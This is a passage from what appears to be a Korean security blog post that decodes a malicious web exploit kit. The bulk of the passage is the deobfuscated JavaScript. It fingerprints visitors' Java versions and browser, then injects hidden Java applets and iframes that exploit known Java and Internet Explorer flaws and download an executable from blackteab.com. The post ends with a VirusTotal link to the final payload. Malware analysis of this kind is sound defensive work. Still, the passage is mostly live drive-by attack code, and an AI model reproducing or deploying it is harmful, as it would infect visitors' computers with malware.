{try{SaDSocN2=wjja6;XtpkDF6('oXaWE4();');}catch(e){alert('ere');}}");

kMOKHlj1 = XtpkDF6(XtpkDF6);
kMOKHlj1(RWmFSCq4);

</script>

이하 디코딩 결과 입니다. 위 코드를 이용해 디코딩 하면 텍스트박스에 디코딩된 결과가 나옴을 알 수 있습니다.
대부분 자바 취약점이네요. 자바를 안깔수도 없고............

VgrlQrX6=tXjYRI7;QJptBA8=VJHEC7(20100418);while(window.closed){}document.write("<br>");
var gondady=document.createElement('body');
document.body.appendChild(gondady);
var gondadx=deployJava.getJREs()+"";
var arrx=gondadx.split(",");
gondadx=parseInt(arrx[0].replace(/\.|\_/g,''));
for(i=1;i<arrx.length;i++)
{
tmp=parseInt(arrx[i].replace(/\.|\_/g,''));
if (gondadx<tmp) gondadx=tmp;
}
if ((gondadx<=17007 && gondadx>=17000) || (gondadx<=16032 && gondadx>=16000) || (gondadx<=15033 && gondadx>=15000))
{
var gondad = document.createElement('applet');
gondad.width="1";
gondad.height="1";
if((gondadx<=16027 && gondadx>=16000) || (gondadx>=15000 && gondadx<=15031))
{
gondad.archive="GAHNr0.jpg";
gondad.code="GondadGondadExp.class";
gondad.setAttribute("dota","http://www.blackteab.com/kor/wow.exe");
document.body.appendChild(gondad);
}
else if ((gondadx<=17002 && gondadx>=17000) || (gondadx<=16030 && gondadx>=16000) || (gondadx<=15033 && gondadx>=15000))
{
gondad.archive="SbtfYCq2.jpg";
gondad.code="GondadExx.Ohno.class";
gondad.setAttribute("xiaomaolv","http://www.blackteab.com/kor/wow.exe");
gondad.setAttribute("bn","woyouyizhixiaomaolv");
gondad.setAttribute("si","conglaiyebuqi");
gondad.setAttribute("bs","748");
document.body.appendChild(gondad);
}
else if ((gondadx<=17003 && gondadx>=17000) || (gondadx<=16032 && gondadx>=16000) || (gondadx<=15032 && gondadx>=15000))
{
gondad.archive="gcPVwdT7.jpg";
gondad.code="gond1723.Gondattack.class";
gondad.setAttribute("xiaomaolv","http://www.blackteab.com/kor/wow.exe");
gondad.setAttribute("bn","woyouyizhixiaomaolv");
gondad.setAttribute("si","conglaiyebuqi");
gondad.setAttribute("bs","748");
document.body.appendChild(gondad);
}
else if (gondadx<=17006 && gondadx>=17000)
{
var cxusz8 = window.navigator.userAgent.toLowerCase();
if (cxusz8.indexOf('msie 6') > -1)
{
document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://www.blackteab.com/kor/wow.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'cve2012xxxx.Gondvv.class'><param name=archive value= 'JhQE2.jpg'></OBJECT>");
}
else
{
gondad.archive="JhQE2.jpg";
gondad.code="cve2012xxxx.Gondvv.class";
gondad.setAttribute("xiaomaolv","http://www.blackteab.com/kor/wow.exe");
gondad.setAttribute("bn","woyouyizhixiaomaolv");
gondad.setAttribute("si","conglaiyebuqi");
gondad.setAttribute("bs","748");
document.body.appendChild(gondad);
}
}
else if (gondadx<=17007 && gondadx>=17000)
{
var cxusz8 = window.navigator.userAgent.toLowerCase();
if (cxusz8.indexOf('msie 6') > -1)
{
document.write("<OBJECT classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' width='200' height='200'><param name=xiaomaolv value= 'http://www.blackteab.com/kor/wow.exe'><param name=bn value= 'woyouyizhixiaomaolv'><param name=si value= 'conglaiyebuqi'><param name=bs value= '748'><param name=CODE value= 'gond20125076.Gondqq.class'><param name=archive value= 'OuIQfGP7.jpg'></OBJECT>");
}
else
{
gondad.archive="OuIQfGP7.jpg";
gondad.code="gond20125076.Gondqq.class";
gondad.setAttribute("xiaomaolv","http://www.blackteab.com/kor/wow.exe");
gondad.setAttribute("bn","woyouyizhixiaomaolv");
gondad.setAttribute("si","conglaiyebuqi");
gondad.setAttribute("bs","748");
document.body.appendChild(gondad);
}
}
}
else {   
    /*
    if(pxtXtt1['major']==11 && pxtXtt1['minor']<=3 && pxtXtt1['rev']<=300 && pxtXtt1['gondad']<= 270){
    document.writeln("<img src=gxfdU3.swf><\/img>");
    setTimeout("document.writeln(\"<embed width=100 height=0 src=gxfdU3.swf><\\/embed>\");",2000);
    }
    else{
    */
    var cxusz8 = window.navigator.userAgent.toLowerCase();
    if ((cxusz8.indexOf('msie 6') > -1)||(cxusz8.indexOf('msie 7') > -1)) {
    document.writeln("<iframe src=jvTDIYE7.html><\/iframe>");
    }
    else if((cxusz8.indexOf('msie 8') > -1) && (navigator.userAgent.indexOf('Windows NT 5.1') > -1) && (navigator.browserLanguage.indexOf('ko') > -1)){
    document.writeln("<iframe src=GAHNr0.html><\/iframe>");
    }
    //}
}
;
delete RWmFSCq4;
delete oXaWE4;
delete DCIdlr1;
delete GlMOH7;
delete DPoxzP3;
delete wjja6;
delete CWzT5;
delete qoviH2;
delete MFQtpFx8;
delete MIVW7;
delete LsVQeA3;
delete fqOgoGw6;
delete QykQ0;
delete tXjYRI7;
delete XtpkDF6;
delete kMOKHlj1;
delete aoiGBd6;
delete dAgicOq5;
delete HMnSSeB1;
delete VJHEC7;
delete QJptBA8;
delete MkLrgDe3;
delete SaDSocN2;
delete VgrlQrX6;
delete VGlAAd2;
delete FTUbVy5;
delete FTYdkdd0;
delete Huaqmm1;
delete VWuRgV2;
delete Gmxp3;
delete CzhglW8;
delete WpJlLy2;
delete icOoJTM3;
delete HkRA4;
delete PSfHgU3;
delete QSsht2;
delete OdPzt4;
delete pnnTGA0;
delete gUJkkMO4;
delete xWgFI8;
try{CollectGarbage();}catch(e){}

최종 다운로드 되는 파일은 아래 파일 입니다.
https://www.virustotal.com/file/d437a2f101842779f336a6943238d645618ac46c75a33dacd823f1891a76d8fb/analysis/1356215227/

ByJJoon

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다